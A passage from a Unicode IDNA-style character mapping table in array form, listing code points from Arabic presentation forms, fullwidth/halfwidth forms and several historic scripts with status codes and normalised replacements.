4797,1,"جى"],[64798,1,"جي"],[64799,1,"خى"],[64800,1,"خي"],[64801,1,"صى"],[64802,1,"صي"],[64803,1,"ضى"],[64804,1,"ضي"],[64805,1,"شج"],[64806,1,"شح"],[64807,1,"شخ"],[64808,1,"شم"],[64809,1,"شر"],[64810,1,"سر"],[64811,1,"صر"],[64812,1,"ضر"],[64813,1,"شج"],[64814,1,"شح"],[64815,1,"شخ"],[64816,1,"شم"],[64817,1,"سه"],[64818,1,"شه"],[64819,1,"طم"],[64820,1,"سج"],[64821,1,"سح"],[64822,1,"سخ"],[64823,1,"شج"],[64824,1,"شح"],[64825,1,"شخ"],[64826,1,"طم"],[64827,1,"ظم"],[[64828,64829],1,"اً"],[[64830,64831],2],[[64832,64847],2],[64848,1,"تجم"],[[64849,64850],1,"تحج"],[64851,1,"تحم"],[64852,1,"تخم"],[64853,1,"تمج"],[64854,1,"تمح"],[64855,1,"تمخ"],[[64856,64857],1,"جمح"],[64858,1,"حمي"],[64859,1,"حمى"],[64860,1,"سحج"],[64861,1,"سجح"],[64862,1,"سجى"],[[64863,64864],1,"سمح"],[64865,1,"سمج"],[[64866,64867],1,"سمم"],[[64868,64869],1,"صحح"],[64870,1,"صمم"],[[64871,64872],1,"شحم"],[64873,1,"شجي"],[[64874,64875],1,"شمخ"],[[64876,64877],1,"شمم"],[64878,1,"ضحى"],[[64879,64880],1,"ضخم"],[[64881,64882],1,"طمح"],[64883,1,"طمم"],[64884,1,"طمي"],[64885,1,"عجم"],[[64886,64887],1,"عمم"],[64888,1,"عمى"],[64889,1,"غمم"],[64890,1,"غمي"],[64891,1,"غمى"],[[64892,64893],1,"فخم"],[64894,1,"قمح"],[64895,1,"قمم"],[64896,1,"لحم"],[64897,1,"لحي"],[64898,1,"لحى"],[[64899,64900],1,"لجج"],[[64901,64902],1,"لخم"],[[64903,64904],1,"لمح"],[64905,1,"محج"],[64906,1,"محم"],[64907,1,"محي"],[64908,1,"مجح"],[64909,1,"مجم"],[64910,1,"مخج"],[64911,1,"مخم"],[[64912,64913],3],[64914,1,"مجخ"],[64915,1,"همج"],[64916,1,"همم"],[64917,1,"نحم"],[64918,1,"نحى"],[[64919,64920],1,"نجم"],[64921,1,"نجى"],[64922,1,"نمي"],[64923,1,"نمى"],[[64924,64925],1,"يمم"],[64926,1,"بخي"],[64927,1,"تجي"],[64928,1,"تجى"],[64929,1,"تخي"],[64930,1,"تخى"],[64931,1,"تمي"],[64932,1,"تمى"],[64933,1,"جمي"],[64934,1,"جحى"],[64935,1,"جمى"],[64936,1,"سخى"],[64937,1,"صحي"],[64938,1,"شحي"],[64939,1,"ضحي"],[64940,1,"لجي"],[64941,1,"لمي"],[64942,1,"يحي"],[64943,1,"يجي"],[64944,1,"يمي"],[64945,1,"ممي"],[64946,1,"قمي"],[64947,1,"نحي"],[64948,1,"قمح"],[64949,1,"لحم"],[64950,1,"عمي"],[64951,1,"كمي"],[64952,1,"نجح"],[64953,1,"مخي"],[64954,1,"لجم"],[64955,1,"كمم"],[64956,1,"لجم"],[64957,1,"نجح"],[64958,1,"جحي"],[64959,1,"حجي"],[64960,1,"مجي"],[64961,1,"فمي"],[64962,1,"بحي"],[64963,1,"كمم"],[64964,1,"عجم"],[64965,1,"صمم"],[64966,1,"سخي"],[64967,1,"نجي"],[[64968,64974],3],[64975,2],[[64976,65007],3],[65008,1,"صلے"],[65009,1,"قلے"],[65010,1,"الله"],[65011,1,"اكبر"],[65012,1,"محمد"],[65013,1,"صلعم"],[65014,1,"رسول"],[65015,1,"عليه"],[65016,1,"وسلم"],[65017,1,"صلى"],[65018,1,"صلى الله عليه وسلم"],[65019,1,"جل جلاله"],[65020,1,"ریال"],[65021,2],[[65022,65023],2],[[65024,65039],7],[65040,1,","],[65041,1,"、"],[65042,3],[65043,1,":"],[65044,1,";"],[65045,1,"!"],[65046,1,"?"],[65047,1,"〖"],[65048,1,"〗"],[65049,3],[[65050,65055],3],[[65056,65059],2],[[65060,65062],2],[[65063,65069],2],[[65070,65071],2],[65072,3],[65073,1,"—"],[65074,1,"–"],[[65075,65076],1,"_"],[65077,1,"("],[65078,1,")"],[65079,1,"{"],[65080,1,"}"],[65081,1,"〔"],[65082,1,"〕"],[65083,1,"【"],[65084,1,"】"],[65085,1,"《"],[65086,1,"》"],[65087,1,"〈"],[65088,1,"〉"],[65089,1,"「"],[65090,1,"」"],[65091,1,"『"],[65092,1,"』"],[[65093,65094],2],[65095,1,"["],[65096,1,"]"],[[65097,65100],1," ̅"],[[65101,65103],1,"_"],[65104,1,","],[65105,1,"、"],[65106,3],[65107,3],[65108,1,";"],[65109,1,":"],[65110,1,"?"],[65111,1,"!"],[65112,1,"—"],[65113,1,"("],[65114,1,")"],[65115,1,"{"],[65116,1,"}"],[65117,1,"〔"],[65118,1,"〕"],[65119,1,"#"],[65120,1,"&"],[65121,1,"*"],[65122,1,"+"],[65123,1,"-"],[65124,1,"<"],[65125,1,">"],[65126,1,"="],[65127,3],[65128,1,"\\"],[65129,1,"$"],[65130,1,"%"],[65131,1,"@"],[[65132,65135],3],[65136,1," ً"],[65137,1,"ـً"],[65138,1," ٌ"],[65139,2],[65140,1," ٍ"],[65141,3],[65142,1," َ"],[65143,1,"ـَ"],[65144,1," ُ"],[65145,1,"ـُ"],[65146,1," ِ"],[65147,1,"ـِ"],[65148,1," ّ"],[65149,1,"ـّ"],[65150,1," ْ"],[65151,1,"ـْ"],[65152,1,"ء"],[[65153,65154],1,"آ"],[[65155,65156],1,"أ"],[[65157,65158],1,"ؤ"],[[65159,65160],1,"إ"],[[65161,65164],1,"ئ"],[[65165,65166],1,"ا"],[[65167,65170],1,"ب"],[[65171,65172],1,"ة"],[[65173,65176],1,"ت"],[[65177,65180],1,"ث"],[[65181,65184],1,"ج"],[[65185,65188],1,"ح"],[[65189,65192],1,"خ"],[[65193,65194],1,"د"],[[65195,65196],1,"ذ"],[[65197,65198],1,"ر"],[[65199,65200],1,"ز"],[[65201,65204],1,"س"],[[65205,65208],1,"ش"],[[65209,65212],1,"ص"],[[65213,65216],1,"ض"],[[65217,65220],1,"ط"],[[65221,65224],1,"ظ"],[[65225,65228],1,"ع"],[[65229,65232],1,"غ"],[[65233,65236],1,"ف"],[[65237,65240],1,"ق"],[[65241,65244],1,"ك"],[[65245,65248],1,"ل"],[[65249,65252],1,"م"],[[65253,65256],1,"ن"],[[65257,65260],1,"ه"],[[65261,65262],1,"و"],[[65263,65264],1,"ى"],[[65265,65268],1,"ي"],[[65269,65270],1,"لآ"],[[65271,65272],1,"لأ"],[[65273,65274],1,"لإ"],[[65275,65276],1,"لا"],[[65277,65278],3],[65279,7],[65280,3],[65281,1,"!"],[65282,1,'"'],[65283,1,"#"],[65284,1,"$"],[65285,1,"%"],[65286,1,"&"],[65287,1,"'"],[65288,1,"("],[65289,1,")"],[65290,1,"*"],[65291,1,"+"],[65292,1,","],[65293,1,"-"],[65294,1,"."],[65295,1,"/"],[65296,1,"0"],[65297,1,"1"],[65298,1,"2"],[65299,1,"3"],[65300,1,"4"],[65301,1,"5"],[65302,1,"6"],[65303,1,"7"],[65304,1,"8"],[65305,1,"9"],[65306,1,":"],[65307,1,";"],[65308,1,"<"],[65309,1,"="],[65310,1,">"],[65311,1,"?"],[65312,1,"@"],[65313,1,"a"],[65314,1,"b"],[65315,1,"c"],[65316,1,"d"],[65317,1,"e"],[65318,1,"f"],[65319,1,"g"],[65320,1,"h"],[65321,1,"i"],[65322,1,"j"],[65323,1,"k"],[65324,1,"l"],[65325,1,"m"],[65326,1,"n"],[65327,1,"o"],[65328,1,"p"],[65329,1,"q"],[65330,1,"r"],[65331,1,"s"],[65332,1,"t"],[65333,1,"u"],[65334,1,"v"],[65335,1,"w"],[65336,1,"x"],[65337,1,"y"],[65338,1,"z"],[65339,1,"["],[65340,1,"\\"],[65341,1,"]"],[65342,1,"^"],[65343,1,"_"],[65344,1,"`"],[65345,1,"a"],[65346,1,"b"],[65347,1,"c"],[65348,1,"d"],[65349,1,"e"],[65350,1,"f"],[65351,1,"g"],[65352,1,"h"],[65353,1,"i"],[65354,1,"j"],[65355,1,"k"],[65356,1,"l"],[65357,1,"m"],[65358,1,"n"],[65359,1,"o"],[65360,1,"p"],[65361,1,"q"],[65362,1,"r"],[65363,1,"s"],[65364,1,"t"],[65365,1,"u"],[65366,1,"v"],[65367,1,"w"],[65368,1,"x"],[65369,1,"y"],[65370,1,"z"],[65371,1,"{"],[65372,1,"|"],[65373,1,"}"],[65374,1,"~"],[65375,1,"⦅"],[65376,1,"⦆"],[65377,1,"."],[65378,1,"「"],[65379,1,"」"],[65380,1,"、"],[65381,1,"・"],[65382,1,"ヲ"],[65383,1,"ァ"],[65384,1,"ィ"],[65385,1,"ゥ"],[65386,1,"ェ"],[65387,1,"ォ"],[65388,1,"ャ"],[65389,1,"ュ"],[65390,1,"ョ"],[65391,1,"ッ"],[65392,1,"ー"],[65393,1,"ア"],[65394,1,"イ"],[65395,1,"ウ"],[65396,1,"エ"],[65397,1,"オ"],[65398,1,"カ"],[65399,1,"キ"],[65400,1,"ク"],[65401,1,"ケ"],[65402,1,"コ"],[65403,1,"サ"],[65404,1,"シ"],[65405,1,"ス"],[65406,1,"セ"],[65407,1,"ソ"],[65408,1,"タ"],[65409,1,"チ"],[65410,1,"ツ"],[65411,1,"テ"],[65412,1,"ト"],[65413,1,"ナ"],[65414,1,"ニ"],[65415,1,"ヌ"],[65416,1,"ネ"],[65417,1,"ノ"],[65418,1,"ハ"],[65419,1,"ヒ"],[65420,1,"フ"],[65421,1,"ヘ"],[65422,1,"ホ"],[65423,1,"マ"],[65424,1,"ミ"],[65425,1,"ム"],[65426,1,"メ"],[65427,1,"モ"],[65428,1,"ヤ"],[65429,1,"ユ"],[65430,1,"ヨ"],[65431,1,"ラ"],[65432,1,"リ"],[65433,1,"ル"],[65434,1,"レ"],[65435,1,"ロ"],[65436,1,"ワ"],[65437,1,"ン"],[65438,1,"゙"],[65439,1,"゚"],[65440,7],[65441,1,"ᄀ"],[65442,1,"ᄁ"],[65443,1,"ᆪ"],[65444,1,"ᄂ"],[65445,1,"ᆬ"],[65446,1,"ᆭ"],[65447,1,"ᄃ"],[65448,1,"ᄄ"],[65449,1,"ᄅ"],[65450,1,"ᆰ"],[65451,1,"ᆱ"],[65452,1,"ᆲ"],[65453,1,"ᆳ"],[65454,1,"ᆴ"],[65455,1,"ᆵ"],[65456,1,"ᄚ"],[65457,1,"ᄆ"],[65458,1,"ᄇ"],[65459,1,"ᄈ"],[65460,1,"ᄡ"],[65461,1,"ᄉ"],[65462,1,"ᄊ"],[65463,1,"ᄋ"],[65464,1,"ᄌ"],[65465,1,"ᄍ"],[65466,1,"ᄎ"],[65467,1,"ᄏ"],[65468,1,"ᄐ"],[65469,1,"ᄑ"],[65470,1,"ᄒ"],[[65471,65473],3],[65474,1,"ᅡ"],[65475,1,"ᅢ"],[65476,1,"ᅣ"],[65477,1,"ᅤ"],[65478,1,"ᅥ"],[65479,1,"ᅦ"],[[65480,65481],3],[65482,1,"ᅧ"],[65483,1,"ᅨ"],[65484,1,"ᅩ"],[65485,1,"ᅪ"],[65486,1,"ᅫ"],[65487,1,"ᅬ"],[[65488,65489],3],[65490,1,"ᅭ"],[65491,1,"ᅮ"],[65492,1,"ᅯ"],[65493,1,"ᅰ"],[65494,1,"ᅱ"],[65495,1,"ᅲ"],[[65496,65497],3],[65498,1,"ᅳ"],[65499,1,"ᅴ"],[65500,1,"ᅵ"],[[65501,65503],3],[65504,1,"¢"],[65505,1,"£"],[65506,1,"¬"],[65507,1," ̄"],[65508,1,"¦"],[65509,1,"¥"],[65510,1,"₩"],[65511,3],[65512,1,"│"],[65513,1,"←"],[65514,1,"↑"],[65515,1,"→"],[65516,1,"↓"],[65517,1,"■"],[65518,1,"○"],[[65519,65528],3],[[65529,65531],3],[65532,3],[65533,3],[[65534,65535],3],[[65536,65547],2],[65548,3],[[65549,65574],2],[65575,3],[[65576,65594],2],[65595,3],[[65596,65597],2],[65598,3],[[65599,65613],2],[[65614,65615],3],[[65616,65629],2],[[65630,65663],3],[[65664,65786],2],[[65787,65791],3],[[65792,65794],2],[[65795,65798],3],[[65799,65843],2],[[65844,65846],3],[[65847,65855],2],[[65856,65930],2],[[65931,65932],2],[[65933,65934],2],[65935,3],[[65936,65947],2],[65948,2],[[65949,65951],3],[65952,2],[[65953,65999],3],[[66000,66044],2],[66045,2],[[66046,66175],3],[[66176,66204],2],[[66205,66207],3],[[66208,66256],2],[[66257,66271],3],[66272,2],[[66273,66299],2],[[66300,66303],3],[[66304,66334],2],[66335,2],[[66336,66339],2],[[66340,66348],3],[[66349,66351],2],[[66352,66368],2],[66369,2],[[66370,66377],2],[66378,2],[[66379,66383],3],[[66384,66426],2],[[66427,66431],3],[[66432,66461],2],[66462,3],[66463,2],[[66464,66499],2],[[66500,66503],3],[[66504,66511],2],[[66512,66517],2],[[66518,66559],3],[66560,1,"𐐨"],[66561,1,"𐐩"],[66562,1,"𐐪"],[66563,1,"𐐫"],[66564,1,"𐐬"],[66565,1,"𐐭"],[66566,1,"𐐮"],[66567,1,"𐐯"],[66568,1,"𐐰"],[66569,1,"𐐱"],[66570,1,"𐐲"],[66571,1,"𐐳"],[66572,1,"𐐴"],[66573,1,"𐐵"],[66574,1,"𐐶"],[66575,1,"𐐷"],[66576,1,"𐐸"],[66577,1,"𐐹"],[66578,1,"𐐺"],[66579,1,"𐐻"],[66580,1,"𐐼"],[66581,1,"𐐽"],[66582,1,"𐐾"],[66583,1,"𐐿"],[66584,1,"𐑀"],[66585,1,"𐑁"],[66586,1,"𐑂"],[66587,1,"𐑃"],[66588,1,"𐑄"],[66589,1,"𐑅"],[66590,1,"𐑆"],[66591,1,"𐑇"],[66592,1,"𐑈"],[66593,1,"𐑉"],[66594,1,"𐑊"],[66595,1,"𐑋"],[66596,1,"𐑌"],[66597,1,"𐑍"],[66598,1,"𐑎"],[66599,1,"𐑏"],[[66600,66637],2],[[66638,66717],2],[[66718,66719],3],[[66720,66729],2],[[66730,66735],3],[66736,1,"𐓘"],[66737,1,"𐓙"],[66738,1,"𐓚"],[66739,1,"𐓛"],[66740,1,"𐓜"],[66741,1,"𐓝"],[66742,1,"𐓞"],[66743,1,"𐓟"],[66744,1,"𐓠"],[66745,1,"𐓡"],[66746,1,"𐓢"],[66747,1,"𐓣"],[66748,1,"𐓤"],[66749,1,"𐓥"],[66750,1,"𐓦"],[66751,1,"𐓧"],[66752,1,"𐓨"],[66753,1,"𐓩"],[66754,1,"𐓪"],[66755,1,"𐓫"],[66756,1,"𐓬"],[66757,1,"𐓭"],[66758,1,"𐓮"],[66759,1,"𐓯"],[66760,1,"𐓰"],[66761,1,"𐓱"],[66762,1,"𐓲"],[66763,1,"𐓳"],[66764,1,"𐓴"],[66765,1,"𐓵"],[66766,1,"𐓶"],[66767,1,"𐓷"],[66768,1,"𐓸"],[66769,1,"𐓹"],[66770,1,"𐓺"],[66771,1,"𐓻"],[[66772,66775],3],[[66776,66811],2],[[66812,66815],3],[[66816,66855],2],[[66856,66863],3],[[66864,66915],2],[[66916,66926],3],[66927,2],[66928,1,"𐖗"],[66929,1,"𐖘"],[66930,1,"𐖙"],[66931,1,"𐖚"],[66932,1,"𐖛"],[66933,1,"𐖜"],[66934,1,"𐖝"],[66935,1,"𐖞"],[66936,1,"𐖟"],[66937,1,"𐖠"],[66938,1,"𐖡"],[66939,3],[66940,1,"𐖣"],[66941,1,"𐖤"],[66942,1,"𐖥"],[66943,1,"𐖦"],[66944,1,"𐖧"],[66945,1,"𐖨"],[66946,1,"𐖩"],[66947,1,"𐖪"],[66948,1,"𐖫"],[66949,1,"𐖬"],[66950,1,"𐖭"],[66951,1,"𐖮"],[66952,1,"𐖯"],[66953,1,"𐖰"],[66954,1,"𐖱"],[66955,3],[66956,1,"𐖳"],[66957,1,"𐖴"],[66958,1,"𐖵"],[66959,1,"𐖶"],[66960,1,"𐖷"],[66961,1,"𐖸"],[66962,1,"𐖹"],[66963,3],[66964,1,"𐖻"],[66965,1,"𐖼"],[66966,3],[[66967,66977],2],[66978,3],[[66979,66993],2],[66994,3],[[66995,67001],2],[67002,3],[[67003,67004],2],[[67005,67007],3],[[67008,67059],2],[[67060,67071],3],[[67072,67382],2],[[67383,67391],3],[[67392,67413],2],[[67414,67423],3],[[67424,67431],2],[[67432,67455],3],[67456,2],[67457,1,"ː"],[67458,1,"ˑ"],[67459,1,"æ"],[67460,1,"ʙ"],[67461,1,"ɓ"],[67462,3],[67463,1,"ʣ"],[67464,1,"ꭦ"],[67465,1,"ʥ"],[67466,1,"ʤ"],[67467,1,"ɖ"],[67468,1,"ɗ"],[67469,1,"ᶑ"],[67470,1,"ɘ"],[67471,1,"ɞ"],[67472,1,"ʩ"],[67473,1,"ɤ"],[67474,1,"ɢ"],[67475,1,"ɠ"],[67476,1,"ʛ"],[67477,1,"ħ"],[67478,1,"ʜ"],[67479,1,"ɧ"],[67480,1,"ʄ"],[67481,1,"ʪ"],[67482,1,"ʫ"],[67483,1,"ɬ"],[67484,1,"𝼄"],[67485,1,"ꞎ"],[67486,1,"ɮ"],[67487,1,"𝼅"],[67488,1,"ʎ"],[67489,1,"𝼆"],[67490,1,"ø"],[67491,1,"ɶ"],[67492,1,"ɷ"],[67493,1,"q"],[67494,1,"ɺ"],[67495,1,"𝼈"],[67496,1,"ɽ"],[67497,1,"ɾ"],[67498,1,"ʀ"],[67499,1,"ʨ"],[67500,1,"ʦ"],[67501,1,"ꭧ"],[67502,1,"ʧ"],[67503,1,"ʈ"],[67504,1,"ⱱ"],[67505,3],[67506,1,"ʏ"],[67507,1,"ʡ"],[67508,1,"ʢ"],[67509,1,"ʘ"],[67510,1,"ǀ"],[67511,1,"ǁ"],[67512,1,"ǂ"],[67513,1,"𝼊"],[67514,1,"𝼞"],[[67515,67583],3],[[67584,67589],2],[[67590,67591],3],[67592,2],[67593,3],[[67594,67637],2],[67638,3],[[67639,67640],2],[[67641,67643],3],[67644,2],[[67645,67646],3],[67647,2],[[67648,67669],2],[67670,3],[[67671,67679],2],[[67680,67702],2],[[67703,67711],2],[[67712,67742],2],[[67743,67750],3],[[67751,67759],2],[[67760,67807],3],[[67808,67826],2],[67827,3],[[67828,67829],2],[[67830,67834],3],[[67835,67839],2],[[67840,67861],2],[[67862,67865],2],[[67866,67867],2],[[67868,67870],3],[67871,2],[[67872,67897],2],[[67898,67902],3],[67903,2],[[67904,67967],3],[[67968,68023],2],[[68024,68027],3],[[68028,68029],2],[[68030,68031],2],[[68032,68047],2],[[68048,68049],3],[[68050,68095],2],[[68096,68099],2],[68100,3],[[68101,68102],2],[[68103,68107],3],[[68108,68115],2],[68116,3],[[68117,68119],2],[68120,3],[[68121,68147],2],[[68148,68149],2],[[68150,68151],3],[[68152,68154],2],[[68155,68158],3],[68159,2],[[68160,68167],2],[68168,2],[[68169,68175],3],[[68176,68184],2],[[68185,68191],3],[[68192,68220],2],[[68221,68223],2],[[68224,68252],2],[[68253,68255],2],[[68256,68287],3],[[68288,68295],2],[68296,2],[[68297,68326],2],[[68327,68330],3],[[68331,68342],2],[[68343,68351],3],[[68352,68405],2],[[68406,68408],3],[[68409,68415],2],[[68416,68437],2],[[68438,68439],3],[[68440,68447],2],[[68448,68466],2],[[68467,68471],3],[[68472,68479],2],[[68480,68497],2],[[68498,68504],3],[[68505,68508],2],[[68509,68520],3],[[68521,68527],2],[[68528,68607],3],[[68608,68680],2],[[68681,68735],3],[68736,1,"𐳀"],[68737,1,"𐳁"],[68738,1,"𐳂"],[68739,1,"𐳃"],[68740,1,"𐳄"],[68741,1,"𐳅"],[68742,1,"𐳆"],[68743,1,"𐳇"],[68744,1,"𐳈"],[68745,1,"𐳉"],[68746,1,"𐳊"],[68747,1,"𐳋"],[68748,1,"𐳌"],[68749,1,"𐳍"],[68750,1,"𐳎"],[68751,1,"𐳏"],[68752,1,"𐳐"],[68753,1,"𐳑"],[68754,1,"𐳒"],[68755,1,"𐳓"],[68756,1,"𐳔"],[68757,1,"𐳕"],[68758,1,"𐳖"],[68759,1,"𐳗"],[68760,1,"𐳘"],[68761,1,"𐳙"],[68762,1,"𐳚"],[68763,1,"𐳛"],[68764,1,"𐳜"],[68765,1,"𐳝"],[68766,1,"𐳞"],[68767,1,"𐳟"],[68768,1,"𐳠"],[68769,1,"𐳡"],[68770,1,"𐳢"],[68771,1,"𐳣"],[68772,1,"𐳤"],[68773,1,"𐳥"],[68774,1,"𐳦"],[68775,1,"𐳧"],[68776,1,"𐳨"],[68777,1,"𐳩"],[68778,1,"𐳪"],[68779,1,"𐳫"],[68780,1,"𐳬"],[68781,1,"𐳭"],[68782,1,"𐳮"],[68783,1,"𐳯"],[68784,1,"𐳰"],[68785,1,"𐳱"],[68786,1,"𐳲"],[[68787,68799],3],[[68800,68850],2],[[68851,68857],3],[[68858,68863],2],[[68864,68903],2],[[68904,68911],3],[[68912,68921],2],[[68922,68927],3],[[68928,68943],2],[68944,1,""],[68945,1,""],[68946,1,""],[68947,1,""],[68948,1,""],[68949,1,""],[68950,1,""],[68951,1,""],[68952,1,""],[68953,1,""],[68954,1,""],[68955,1,""],[68956,1,""],[68957,1,""],[68958,1,""],[68959,1,""],[68960,1,""],[68961,1,""],[68962,1,""],[68963,1,""],[68964,1,""],[68965,1,""],[[68966,68968],3],[[68969,68973],2],[68974,2],[[68975,68997],2],[[68998,69005],3],[[69006,69007],2],[[69008,69215],3],[[69216,69246],2],[69247,3],[[69248,69289],2],[69290,3],[[69291,69292],2],[69293,2],[[69294,69295],3],[[69296,69297],2],[[69298,69313],3],[[69314,69316],2],[[69317,69371],3],[69372,2],[[69373,69375],2],[[69376,69404],2],[[69405,69414],2],[69415,2],[[69416,69423],3],[[69424,69456],2],[[69457,69465],2],[[69466,69487],3],[[69488,69509],2],[[69510,69513],2],[[69514,69551],3],[[69552,69572],2],[[69573,69579],2],[[69580,69599],3],[[69600,69622],2],[[69623,69631],3],[[69632,69702],2],[[69703,69709],2],[[69710,69713],3],[[69714,69733],2],[[69734,69743],2],[[69744,69749],2],[[69750,69758],3],[69759,2],[[69760,69818],2],[[69819,69820],2],[69821,3],[[69822,69825],2],[69826,2],[[69827,69836],3],[69837,3],[[69838,69839],3],[[69840,69864],2],[[69865,69871],3],[[69872,69881],2],[[69882,69887],3],[[69888,69940],2],[69941,3],[[69942,69951],2],[[69952,69955],2],[[69956,69958],2],[69959,2],[[69960,69967],3],[[69968,70003],2],[[70004,70005],2],[70006,2],[[70007,70015],3],[[70016,70084],2],[[70085,70088],2],[[70089,70092],2],[70093,2],[[70094,70095],2],[[70096,70105],2],[70106,2],[70107,2],[70108,2],[[70109,70111],2],[70112,3],[[70113,70132],2],[[70133,70143],3],[[70144,70161],2],[70162,3],[[70163,70199],2],[[70200,70205],2],[70206,2],[[70207,70209],2],[[70210,70271],3],[[70272,70278],2],[70279,3],[70280,2],[70281,3],[[70282,70285],2],[70286,3],[[70287,70301],2],[70302,3],[[70303,70312],2],[70313,2],[[70314,70319],3],[[70320,70378],2],[[70379,70383],3],[[70384,70393],2],[[70394,70399],3],[70400,2],[[70401,70403],2],[70404,3],[[70405,70412],2],[[70413,70414],3],[[70415,70416],2],[[70417,70418],3],[[70419,70440],2],[70441,3],[[70442,70448],2],[70449,3],[[70450,70451],2],[70452,3],[[70453,70457],2],[70458,3],[70459,2],[[70460,70468],2],[[70469,70470],3],[[70471,70472],2],[[70473,70474],3],[[70475,70477],2],[[70478,70479],3],[70480,2],[[70481,70486],3],[70487,2],[[70488,70492],3],[[70493,70499],2],[[70500,70501],3],[[70502,70508],2],[[70509,70511],3],[[70512,70516],2],[[70517,70527],3],[[70528,70537],2],[70538,3],[70539,2],[[70540,70541],3],[70542,2],[70543,3],[[70544,70581],2],[70582,3],[[70583,70592],2],[70593,3],[70594,2],[[70595,70596],3],[70597,2],[70598,3],[[70599,70602],2],[70603,3],[[70604,70611],2],[[70612,70613],2],[70614,3],[[70615,70616],2],[[70617,70624],3],[[70625,70626],2],[[70627,70655],3],[[70656,70730],2],[[70731,70735],2],[[70736,70745],2],[70746,2],[70747,2],[70748,3],[70749,2],[70750,2],[70751,2],[[70752,70753],2],[[70754,70783],3],[[70784,70853],2],[70854,2],[70855,2],[[70856,70863],3],[[70864,70873],2],[[70874,71039],3],[[71040,71093],2],[[71094,71095],3],[[71096,71104],2],[[71105,71113],2],[[71114,71127],2],[[71128,71133],2],[[71134,71167],3],[[71168,71232],2],[[71233,71235],2],[71236,2],[[71237,71247],3],[[71248,71257],2],[[71258,71263],3],[[71264,71276],2],[[71277,71295],3],[[71296,71351],2],[71352,2],[71353,2],[[71354,71359],3],[[71360,71369],2],[[71370,71375],3],[[71376,71395],2],[[71396,71423],3],[[71424,71449],2],[71450,2],[[71451,71452],3],[[71453,71467],2],[[71468,71471],3],[[71472,71481],2],[[71482,71487],2],[[71488,71494],2],[[71495,71679],3],[[71680,71738],2],[71739,2],[[71740,71839],3],[71840,1,"𑣀"],[71841,1,"𑣁"],[71842,1,"𑣂"],[71843,1,"𑣃"],[71844,1,"𑣄"],[71845,1,"𑣅"],[71846,1,"𑣆"],[71847,1,"𑣇"],[71848,1,"𑣈"],[71849,1,"𑣉"],[71850,1,"𑣊"],[71851,1,"𑣋"],[71852,1,"𑣌"],[71853,1,"𑣍"],[71854,1,"𑣎"],[71855,1,"𑣏"],[71856,1,"𑣐"],[71857,1,"𑣑"],[71858,1,"𑣒"],[71859,1,"𑣓"],[71860,1,"𑣔"],[71861,1,"𑣕"],[71862,1,"𑣖"],[71863,1,"𑣗"],[71864,1,"𑣘"],[71865,1,"𑣙"],[71866,1,"𑣚"],[71867,1,"𑣛"],[71868,1,"𑣜"],[71869,1,"𑣝"],[71870,1,"𑣞"],[71871,1,"𑣟"],[[71872,71913],2],[[71914,71922],2],[[71923,71934],3],[71935,2],[[71936,71942],2],[[71943,71944],3],[71945,2],[[71946,71947],3],[[71948,71955],2],[71956,3],[[71957,71958],2],[71959,3],[[71960,71989],2],[71990,3],[[71991,71992],2],[[71993,71994],3],[[71995,72003],2],[[72004,72006],2],[[72007,72015],3],[[72016,72025],2],[[72026,72095],3],[[72096,72103],2],[[72104,72105],3],[[72106,72151],2],[[72152,72153],3],[[72154,72161],2],[72162,2],[[72163,72164],2],[[72165,72191],3],[[72192,72254],2],[[72255,72262],2],[72263,2],[[72264,72271],3],[[72272,72323],2],[[72324,72325],2],[[72326,72345],2],[[72346,72348],2],[72349,2],[[72350,72354],2],[[72355,72367],3],[[72368,72383],2],[[72384,72440],2],[[72441,72447],3],[[72448,72457],2],[[72458,72639],3],[[72640,72672],2],[72673,2],[[72674,72687],3],[[72688,72697],2],[[72698,72703],3],[[72704,72712],2],[72713,3],[[72714,72758],2],[72759,3],[[72760,72768],2],[[72769,72773],2],[[72774,72783],3],[[72784,72793],2],[[72794,72812],2],[[72813,72815],3],[[72816,72817],2],[[72818,72847],2],[[72848,72849],3],[[72850,72871],2],[72872,3],[[72873,72886],2],[[72887,72959],3],[[72960,72966],2],[72967,3],[[72968,72969],2],[72970,3],[[72971,73014],2],[[73015,73017],3],[73018,2],[73019,3],[[73020,73021],2],[73022,3],[[73023,73031],2],[[73032,73039],3],[[73040,73049],2],[[73050,73055],3],[[73056,73061],2],[73062,3],[[73063,73064],2],[73065,3],[[73066,73102],2],[73103,3],[[73104,73105],2],[73106,3],[[73107,73112],2],[[73113,73119],3],[[73120,73129],2],[[73130,73439],3],[[73440,73462],2],[[73463,73464],2],[[73465,73471],3],[[73472,73488],2],[73489,3],[[73490,73530],2],[[73531,73533],3],[[73534,73538],2],[[73539,73551],2],[[73552,73561],2],[73562,2],[[73563,73647],3],[73648,2],[[73649,73663],3],[[73664,73713],2],[[73714,73726],3],[73727,2],[[73728,74606],2],[[74607,74648],2],[74649,2],[[74650,74751],3],[[74752,74850],2],[[74851,74862],2],[74863,3],[[74864,74867],2],[74868,2],[[74869,74879],3],[[74880,75075],2],[[75076,77711],3],[[77712,77808],2],[[77809,77810],2],[[77811,77823],3],[[77824,78894],2],[78895,2],[[78896,78904],3],[[78905,78911],3],[[78912,78933],2],[[78934,78943],3],[[78944,82938],2],[[82939,82943],3],[[82944,83526],2],[[83527,90367],3],[[90368,90425],2],[[90426,92159],3],[[92160,92728],2],[[92729,92735],3],[[92736,92766],2],[92767,3],[[92768,92777],2],[[92778,92781],3],[[92782,92783],2],[[92784,92862],2],[92863,3],[[92864,92873],2],[[92874,92879],3],[[92880,92909],2],[[92910,92911],3],[[92912,92916],2],[92917,2],[[92918,92927],3],[[92928,92982],2],[[92983,92991],2],[[92992,92995],2],[[92996,92997],2],[[92998,93007],3],[[93008,93017],2],[93018,3],[[93019,93025],2],[93026,3],[[93027,93047],2],[[93048,93052],3],[[93053,93071],2],[[93072,93503],3],[[93504,93548],2],[[93549,93551],2],[[93552,93561],2],[[93562,93759],3],[93760,1,"𖹠"],[93761,1,"𖹡"],[93762,1,"𖹢"],[93763,1,"𖹣"],[93764,1,"𖹤"],[93765,1,"𖹥"],[93766,1,"𖹦"],[93767,1,"𖹧"],[93768,1,"𖹨"],[93769,1,"𖹩"],[93770,1,"𖹪"],[93771,1,"𖹫"],[93772,1,"𖹬"],[93773,1,"𖹭"],[93774,1,"𖹮"],[93775,1,"𖹯"],[93776,1,"𖹰"],[93777,1,"𖹱"],[93778,1,"𖹲"],[93779,1,"𖹳"],[93780,1,"𖹴"],[93781,1,"𖹵"],[93782,1,"𖹶"],[93783,1,"𖹷"],[93784,1,"𖹸"],[93785,1,"𖹹"],[93786,1,"𖹺"],[93787,1,"𖹻"],[93788,1,"𖹼"],[93789,1,"𖹽"],[93790,1,"